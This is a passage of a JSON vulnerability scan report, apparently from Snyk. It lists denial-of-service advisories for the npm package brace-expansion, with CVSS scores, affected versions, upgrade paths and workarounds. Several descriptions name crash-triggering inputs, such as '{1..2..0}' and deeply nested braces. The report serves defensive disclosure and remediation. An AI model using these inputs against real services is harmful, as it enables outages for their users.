"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
